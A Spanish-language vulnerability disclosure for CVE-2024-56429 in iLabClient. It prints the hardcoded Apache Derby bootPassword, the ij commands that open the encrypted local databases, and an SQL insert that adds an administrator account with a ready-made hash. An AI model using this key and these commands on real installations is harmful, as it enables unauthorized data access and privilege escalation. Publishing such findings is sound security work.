
Exploit para CVE-2024-56429 que demuestra la extracción de la contraseña de arranque de la base de datos Apache Derby del código fuente de iLabClient, lo que permite la conexión local a la base de datos y la escalada de privilegios mediante la manipulación de usuarios.
Acceso a la base de datos local del iLabClient
iLabClient utiliza una base de datos Apache Derby para almacenar los datos necesarios localmente. Para garantizar el cifrado, se utiliza un bootPassword para la creación, que puede extraerse del código fuente (el código extraído está en DecyptedBootPassword.java). Después de ejecutar el código fuente extraído, el usuario recibe el bootPassword.
jdbc:derby:iLabClient;dataEncryption=true;bootPassword=YngAYdgAE/kKZYu2F2wm6w==
Al iniciar iLabClient por primera vez, se crean las dos bases de datos locales iLabCLient e iLabDB. Para conectarse a estas bases de datos se puede utilizar la herramienta ij de Apache Derby, Descargar.
Iniciando ij:
"C:\ilabClient\java8u422\bin\java.exe" -jar "...\db-derby-10.14.2.0-lib\lib\derbyrun.jar" ij
"C:\ilabClient\java8u422\bin\java.exe": Versión de Java instalada y utilizada por iLabClient
"...\db-derby-10.14.2.0-lib\lib\derbyrun.jar": Librería de Apache Derby
Conectar a la base de datos:
cd "C:\ilabClient\db
connect 'jdbc:derby:iLabClient;dataEncryption=true;bootPassword=YngAYdgAE/kKZYu2F2wm6w==';
connect 'jdbc:derby:iLabDB;dataEncryption=true;bootPassword=YngAYdgAE/kKZYu2F2wm6w==';
Una vez establecida la conexión, los datos pueden leerse y manipularse. Por ejemplo, añadiendo otro usuario con más permisos.
insert into users (USERID, BENUTZER, NAME, PARAMS, HASH) values (4, 'admin2', 'Administrator', '111111111111111111', 'SHA-256:B6382EC801B1BBD5C464C6A5F9C8CFFDC603A7D3A4916B1F50BD592678E8380B');
El hash requerido puede crearse con la clase GenerateUserData.java.
Descubridora: Lisa Ulbrich (Lufthansa Industry Solutions AS GmbH)